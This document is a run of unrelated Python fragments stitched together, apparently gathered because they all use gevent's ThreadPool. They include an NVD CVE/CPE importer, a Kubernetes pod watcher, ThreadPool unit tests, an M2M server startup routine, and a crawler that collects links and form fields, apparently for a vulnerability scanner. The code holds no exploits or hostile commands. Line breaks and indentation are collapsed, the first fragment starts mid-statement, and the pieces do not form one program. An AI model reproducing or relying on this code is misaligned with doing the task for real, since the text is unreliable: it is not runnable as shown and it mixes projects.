open(os.path.join(self.cve_path, 'nvdcve-1.1-{0}.json'.format(year)), 'wb') as f_out: shutil.copyfileobj(f_in, f_out) os.unlink(cve_file) except Exception as ex: raise ex current_year = datetime.datetime.now().year for i in range(2002, current_year + 1): self.pool.spawn(download_file, i) gevent.wait() def cve_upgrade(self): """ :return: """ def get_problem_type(info): """ :return: """ result = '' if 'problemtype_data' in info and info['problemtype_data']: if 'description' in info['problemtype_data'][0] and info['problemtype_data'][0]['description']: result = info['problemtype_data'][0]['description'][0]['value'] return result def get_links(info): """ :return: """ result = [] if 'reference_data' in info and info['reference_data']: for ref in info['reference_data']: result.append(ref['url']) return '\n'.join(result) kb.db = MySQLHelper() json_path = '{0}/nvdcve-1.1*.json'.format(self.cve_path) json_list = glob.glob(json_path) cve_list = [] for cve_file in json_list: with open(cve_file, 'rb') as fp: json_obj = json.load(fp) for _ in json_obj['CVE_Items']: if not _['configurations']['nodes']: continue cve = _['cve']['CVE_data_meta']['ID'] problemtype = get_problem_type(_['cve']['problemtype']) year_re = re.search(r'CVE-(\d+)-\d+', cve, re.I) year = year_re.group(1) links = get_links(_['cve']['references']) description = _['cve']['description']['description_data'][0]['value'] if 'cpe_match' not in _['configurations']['nodes'][0]: if 'children' in _['configurations']['nodes'][0]: if 'cpe_match' in _['configurations']['nodes'][0]['children'][0]: cpe_match = _['configurations']['nodes'][0]['children'][0]['cpe_match'] else: cpe_match = _['configurations']['nodes'][0]['cpe_match'] for item in cpe_match: """ cve, description, links, cvss_v2_severity, cvss_v2_impactscore, cvss_v3_impactscore """ v3 = _['impact']['baseMetricV3']['impactScore'] if 'baseMetricV3' in _['impact'] else '' cve_list.append(( cve, item['cpe23Uri'], description, links, problemtype, year, _['impact']['baseMetricV2']['severity'], _['impact']['baseMetricV2']['impactScore'], v3, )) if len(cve_list) % 1000000 == 0: kb.db.create_cve_bulk(cve_list) cve_list = [] if cve_list: kb.db.create_cve_bulk(cve_list) def cpe_upgrade(self): """ :return: """ kb.db = MySQLHelper() with open(self.cpe_file, 'rb') as fp: json_obj = json.load(fp) obj_list = [] for cpes in json_obj['matches']: cpe23_uri = cpes['cpe23Uri'] for item in cpes['cpe_name']: cpe_part = cpe_parse(item['cpe23Uri']) obj_list.append(( cpe_part["vendor"], cpe_part["product"], cpe_part["version"], cpe_part["update"], cpe23_uri, cpe_part["edition"], cpe_part["language"], cpe_part["sw_edition"], cpe_part["target_sw"], cpe_part["target_hw"], cpe_part["other"] )) if len(obj_list) % 100000 == 0: kb.db.create_cpe_bulk(obj_list) obj_list = [] if obj_list: kb.db.create_cpe_bulk(obj_list) def start(self): try: s_time = time.time() # self.download_cpe_match_file() # self.download_cve_file() self.cpe_upgrade() self.cve_upgrade() logger.info('total seconds: {0}'.format(time.time() - s_time)) except Exception as ex: import traceback; traceback.print_exc() logger.error(ex)
class K8SPodsIPWatcher(object): """ Pods watcher class, compatible with SchedulerDiscoverer """ dynamic = True def __init__(self, k8s_config=None, k8s_namespace=None): from kubernetes import config, client from gevent.threadpool import ThreadPool if k8s_config is not None: self._k8s_config = k8s_config elif os.environ.get('KUBE_API_ADDRESS'): self._k8s_config = client.Configuration() self._k8s_config.host = os.environ['KUBE_API_ADDRESS'] else: self._k8s_config = config.load_incluster_config() verify_ssl = bool(int(os.environ.get('KUBE_VERIFY_SSL', '1').strip('"'))) if not verify_ssl: c = client.Configuration() c.verify_ssl = False client.Configuration.set_default(c) self._k8s_namespace = k8s_namespace or os.environ.get('MARS_K8S_POD_NAMESPACE') or 'default' self._full_label_selector = None self._client = client.CoreV1Api(client.ApiClient(self._k8s_config)) self._pool = ThreadPool(1) self._service_pod_to_ep = dict() def __reduce__(self): return type(self), (self._k8s_config, self._k8s_namespace) def _get_label_selector(self, service_type): if self._full_label_selector is not None: return self._full_label_selector selectors = [f'mars/service-type={service_type}'] if 'MARS_K8S_GROUP_LABELS' in os.environ: group_labels = os.environ['MARS_K8S_GROUP_LABELS'].split(',') cur_pod_info = self._pool.spawn(self._client.read_namespaced_pod, os.environ['MARS_K8S_POD_NAME'], namespace=self._k8s_namespace).result().to_dict() for label in group_labels: label_val = cur_pod_info['metadata']['labels'][label] selectors.append(f'{label}={label_val}') self._full_label_selector = ','.join(selectors) logger.debug('Using pod selector %s', self._full_label_selector) return self._full_label_selector def _extract_pod_name_ep(self, pod_data): pod_ip = pod_data["status"].get("podIP") or pod_data["status"].get("pod_ip") ports_def = pod_data['spec']['containers'][0]['ports'][0] svc_port = ports_def.get('containerPort') or ports_def.get('container_port') return pod_data['metadata']['name'], f'{pod_ip}:{svc_port}' @staticmethod def _extract_pod_ready(obj_data): return obj_data['status']['phase'] == 'Running' def _get_pod_to_ep(self, service_type): query = self._pool.spawn( self._client.list_namespaced_pod, namespace=self._k8s_namespace, label_selector=self._get_label_selector(service_type) ).result().to_dict() result = dict() for el in query['items']: name, pod_ep = self._extract_pod_name_ep(el) if pod_ep is not None and not self._extract_pod_ready(el): pod_ep = None result[name] = pod_ep return result def _get_endpoints_by_service_type(self, service_type, update=False): if not self._service_pod_to_ep.get(service_type) or update: self._service_pod_to_ep[service_type] = self._get_pod_to_ep(service_type) return sorted(a for a in self._service_pod_to_ep[service_type].values() if a is not None) def get_schedulers(self, update=False): from .config import MarsSchedulersConfig if "MARS_CLUSTER_DETAIL" in os.environ: cluster = json.loads(os.getenv("MARS_CLUSTER_DETAIL")) sched_endpoints = [ep for ep in list(cluster["scheduler"]) if requests.get(ep).ok] self._service_pod_to_ep[MarsSchedulersConfig.rc_name] = sched_endpoints return sorted(sched_endpoints) return self._get_endpoints_by_service_type(MarsSchedulersConfig.rc_name, update=update) def is_all_schedulers_ready(self): from .config import MarsSchedulersConfig self.get_schedulers(True) pod_to_ep = self._service_pod_to_ep[MarsSchedulersConfig.rc_name] if not pod_to_ep: return False return all(a is not None for a in pod_to_ep.values()) def _watch_service(self, service_type, linger=10): from urllib3.exceptions import ReadTimeoutError from kubernetes import watch cur_pods = set(self._get_endpoints_by_service_type(service_type, update=True)) w = watch.Watch() pod_to_ep = self._service_pod_to_ep[service_type] while True: # when some pods are not ready, we refresh faster linger_seconds = linger() if callable(linger) else linger streamer = w.stream( self._client.list_namespaced_pod, namespace=self._k8s_namespace, label_selector=self._get_label_selector(service_type), timeout_seconds=linger_seconds ) while True: try: event = self._pool.spawn(next, streamer, StopIteration).result() if event is StopIteration: raise StopIteration except (ReadTimeoutError, StopIteration): new_pods = set(self._get_endpoints_by_service_type(service_type, update=True)) if new_pods != cur_pods: cur_pods = new_pods yield self._get_endpoints_by_service_type(service_type, update=False) break except: # noqa: E722 # pragma: no cover # pylint: disable=bare-except logger.exception('Unexpected error when watching on kubernetes') break obj_dict = event['object'].to_dict() pod_name, endpoint = self._extract_pod_name_ep(obj_dict) pod_to_ep[pod_name] = endpoint \ if endpoint and self._extract_pod_ready(obj_dict) else None yield self._get_endpoints_by_service_type(service_type, update=False) def watch_schedulers(self): from .config import MarsSchedulersConfig return self._watch_service(MarsSchedulersConfig.rc_name) def watch_workers(self): from .config import MarsWorkersConfig return self._watch_service(MarsWorkersConfig.rc_name) def rescale_workers(self, new_scale): from .config import MarsWorkersConfig self._client.patch_namespaced_replication_controller_scale( MarsWorkersConfig.rc_name, self._k8s_namespace, {"spec": {"replicas": new_scale}} )
class TestJoinEmpty(TestCase): switch_expected = False def test(self): self.pool = ThreadPool(1) self.pool.join()
def test(self): self.pool = ThreadPool(3) self.assertRaises(greentest.ExpectedException, self.pool.map, lambda x: None, error_iter()) gevent.sleep(0.001)
class TestPool(TestCase): __timeout__ = 5 size = 1 def setUp(self): greentest.TestCase.setUp(self) self.pool = ThreadPool(self.size) def test_apply(self): papply = self.pool.apply self.assertEqual(papply(sqr, (5, )), sqr(5)) self.assertEqual(papply(sqr, (), {'x': 3}), sqr(x=3)) def test_map(self): pmap = self.pool.map self.assertEqual(pmap(sqr, range(10)), list(map(sqr, range(10)))) self.assertEqual(pmap(sqr, range(100)), list(map(sqr, range(100)))) def test_async(self): res = self.pool.apply_async(sqr, ( 7, TIMEOUT1, )) get = TimingWrapper(res.get) self.assertEqual(get(), 49) self.assertAlmostEqual(get.elapsed, TIMEOUT1, 1) def test_async_callback(self): result = [] res = self.pool.apply_async(sqr, ( 7, TIMEOUT1, ), callback=lambda x: result.append(x)) get = TimingWrapper(res.get) self.assertEqual(get(), 49) self.assertAlmostEqual(get.elapsed, TIMEOUT1, 1) gevent.sleep(0) # let's the callback run assert result == [49], result def test_async_timeout(self): res = self.pool.apply_async(sqr, (6, TIMEOUT2 + 0.2)) get = TimingWrapper(res.get) self.assertRaises(gevent.Timeout, get, timeout=TIMEOUT2) self.assertAlmostEqual(get.elapsed, TIMEOUT2, 1) self.pool.join() def test_imap(self): it = self.pool.imap(sqr, range(10)) self.assertEqual(list(it), list(map(sqr, range(10)))) it = self.pool.imap(sqr, range(10)) for i in range(10): self.assertEqual(six.advance_iterator(it), i * i) self.assertRaises(StopIteration, lambda: six.advance_iterator(it)) it = self.pool.imap(sqr, range(1000)) for i in range(1000): self.assertEqual(six.advance_iterator(it), i * i) self.assertRaises(StopIteration, lambda: six.advance_iterator(it)) def test_imap_random(self): it = self.pool.imap(sqr_random_sleep, range(10)) self.assertEqual(list(it), list(map(sqr, range(10)))) def test_imap_unordered(self): it = self.pool.imap_unordered(sqr, range(1000)) self.assertEqual(sorted(it), list(map(sqr, range(1000)))) it = self.pool.imap_unordered(sqr, range(1000)) self.assertEqual(sorted(it), list(map(sqr, range(1000)))) def test_imap_unordered_random(self): it = self.pool.imap_unordered(sqr_random_sleep, range(10)) self.assertEqual(sorted(it), list(map(sqr, range(10)))) def test_terminate(self): result = self.pool.map_async(sleep, [0.1] * ((self.size or 10) * 2)) gevent.sleep(0.1) kill = TimingWrapper(self.pool.kill) kill() assert kill.elapsed < 0.5, kill.elapsed result.join() def sleep(self, x): sleep(float(x) / 10.) return str(x) def test_imap_unordered_sleep(self): # testing that imap_unordered returns items in competion order result = list(self.pool.imap_unordered(self.sleep, [10, 1, 2])) if self.pool.size == 1: expected = ['10', '1', '2'] else: expected = ['1', '2', '10'] self.assertEqual(result, expected)
def test_apply(self): self.pool = pool = ThreadPool(1) result = pool.apply(lambda a: ('foo', a), (1, )) self.assertEqual(result, ('foo', 1))
def setUp(self): greentest.TestCase.setUp(self) self.pool = ThreadPool(self.size)
def _start(self): try: max_queue_size = self.config["queue_max_size"] except: max_queue_size = 1000 self.gevent_queue = Queue(max_queue_size) self.intent_handler = IntentHandler(self.logger, self.config) self.greenlet = Greenlet.spawn( self.intent_handler.executeQueuedRequests, self.gevent_queue, self.api.handle_request_indication) self.logger.info("started greenlet") if self.config.get("enable_intent"): self.logger.info("starting intent server") from server import IntentServer self.intent_server = IntentServer( self.api.handle_request_indication, self.gevent_queue, self.config, self.logger) self.gevent_threadpool = ThreadPool(1) self.gevent_threadpool_worker = self.gevent_threadpool.spawn( self.intent_server.start) #self.intent_server.start() from .activate import PA_Activation pa_activation = PA_Activation(self.config, self.logger) pa_activation.start() for endpoint in self.config["endpoints"]: self.api.register_endpoint( endpoint["personality"], "%s://%s" % ("intent", endpoint["interface"])) if self.config.get("enable_test"): from .test import test_read_params, test_create_app, test_create_app_property, test_subscribe_pushed_data, test_push_data, test_destroy_app, test_subscribe_apps_with_search_str from .test import test_create_app_with_search_str, test_discover_apps_with_search_str, test_get_app, test_get_all_properties, test_get_latest_data_of_property contact = "intent://intent_test/m2m" from .test_retarget import test_retarget test_retarget(self.api.handle_request_indication, self.logger, self.config, "retrieve", "/m2m") # contact = "http://localhost:8080" test_read_params(self.api.handle_request_indication, self.logger, self.config) self.logger.info( "============================================================") # test_create_app(self.api.handle_request_indication, self.logger, self.config, "myApp") self.logger.info( "============================================================") # test_create_app_property(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty") self.logger.info( "============================================================") # test_subscribe_pushed_data(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty", contact) self.logger.info( "============================================================") # test_push_data(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty") self.logger.info( "============================================================") # test_get_all_properties(self.api.handle_request_indication, self.logger, self.config, "myApp") self.logger.info( "============================================================") # test_get_latest_data_of_property(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty") self.logger.info( "============================================================") # test_destroy_app(self.api.handle_request_indication, self.logger, self.config, "myApp") self.logger.info( "============================================================") # test_subscribe_apps_with_search_str(self.api.handle_request_indication, self.logger, self.config, "healthDevice", contact) test_subscribe_apps_with_search_str( self.api.handle_request_indication, self.logger, self.config, None, contact) self.logger.info( "============================================================") # test_create_app_with_search_str(self.api.handle_request_indication, self.logger, self.config, "myApp", "healthDevice") # test_create_app_with_search_str(self.api.handle_request_indication, self.logger, self.config, "myApp", None) self.logger.info( "============================================================") # test_discover_apps_with_search_str(self.api.handle_request_indication, self.logger, self.config, "healthDevice", "intent://test_action") self.logger.info( "============================================================") # test_get_app(self.api.handle_request_indication, self.logger, self.config, "myApp", "intent://test_action") self.logger.info( "============================================================") # test_destroy_app(self.api.handle_request_indication, self.logger, self.config, "myApp") self.logger.info( "============================================================") self._started()
class Crawler(object): def __init__(self, baseurl, threads=1, timeout=10, sleep=5): self.baseurl = baseurl self.threads = threads self.timeout = timeout self.sleep = sleep self.pool = ThreadPool(self.threads) self.Queue = queue.Queue() self.block = set() self.flag = 0 self.isstop = False @PluginManage.test def addreq(self, req): print("GET %s" % req.url) print('\r') self.Queue.put(req) def urljoin(self, url): block = ('http://', 'https://', 'file://', 'javascript:', '#', 'mailto:') if url: if url.startswith(self.baseurl): return url elif url.startswith('/') and not url.startswith('//'): return '%s%s' % (self.baseurl, url) elif not url.lower().strip().startswith(block): return '%s/%s' % (self.baseurl, url) def isback(self, req): if req not in self.block: self.block.add(req) self.addreq(req) def run(self, req): try: response = req.request() except requests.ConnectionError: gevent.sleep(self.sleep) content_type = response.headers.get('content-type') if "html" in content_type: self.htmlparse(response.text) elif "text" in content_type \ or "json" in content_type \ or "javascript" in content_type: self.textparse(response.text) else: pass def start(self): self.run(Request(self.baseurl)) while True and self.flag <= 60 * 5: #5分钟后还没有任务加进来就当爬完了 try: req = self.Queue.get(block=False) except queue.Empty: gevent.sleep(1) print(self.flag) self.flag += 1 else: self.pool.spawn(self.run, req) gevent.wait(timeout=self.timeout) self.isstop = True def textparse(self, response): urls = [] re_url = ( "(http[s]?://(?:[-a-zA-Z0-9_]+\.)+[a-zA-Z]+(?::\d+)?(?:/[-a-zA-Z0-9_%./]+)*\??[-a-zA-Z0-9_&%=.]*)" ) urls += re.findall(re_url, response) for url in urls: url = self.urljoin(url) if url: req = Request(url) self.isback(req) def htmlparse(self, response): href_tags = {"a", "link", "area"} src_tags = { "form", "script", "img", "iframe", "frame", "embed", "source", "track" } param_names = {"movie", "href", "link", "src", "url", "uri"} for tag in BeautifulSoup(response, "html.parser").findAll(): url = None data = {} name = tag.name.lower() if name in href_tags: url = tag.get("href", None) elif name in src_tags: url = tag.get("src", None) elif name == "param": name = tag.get("name", "").lower().strip() if name in param_names: url = tag.get("value", None) elif name == "object": url = tag.get("data", None) elif name == "applet": url = tag.get("code", None) elif name == "meta": name = tag.get("name", "").lower().strip() if name == "http-equiv": content = tag.get("content", "") p = content.find(";") if p >= 0: url = content[p + 1:] elif name == "base": url = tag.get("href", None) #for post fomm if name == "form": action = tag.get('action', '') method = tag.get('method', 'GET').upper() data = {} #Process <input type="test" name="... for m in tag.findAll('input', {'name': True, 'type': 'text'}): value = m.get('value', '') data[m['name']] = value #Process <input type="password" name="... for m in tag.findAll('input', { 'name': True, 'type': 'password' }): value = m.get('value', '') data[m['name']] = value #Process <input type="submit" name="... for m in tag.findAll('input', { 'name': True, 'type': 'submit' }): value = m.get('value', '') data[m['name']] = value #Process <input type="hidden" name="... for m in tag.findAll('input', { 'name': True, 'type': 'hidden' }): value = m.get('value', '') data[m['name']] = value #Process <input type="checkbox" name="... for m in tag.findAll('input', { 'name': True, 'type': 'checkbox' }): value = m.get('value', '') data[m['name']] = value #Process <input type="radio" name="... listRadio = [] for m in tag.findAll('input', {'name': True, 'type': 'radio'}): if not m['name'] in listRadio: listRadio.append(m['name']) value = m.get('value', '') data[m['name']] = value #Process <textarea name="... for m in tag.findAll('textarea', {'name': True}): data[m['name']] = m.contents[0] #Process <select name="... for m in tag.findAll('select', {'name': True}): if len(m.findAll('option', value=True)) > 0: name = m['name'] data[name] = m.findAll('option', value=True)[0]['value'] url = self.urljoin(url) if url: req = Request(url, data) self.isback(req)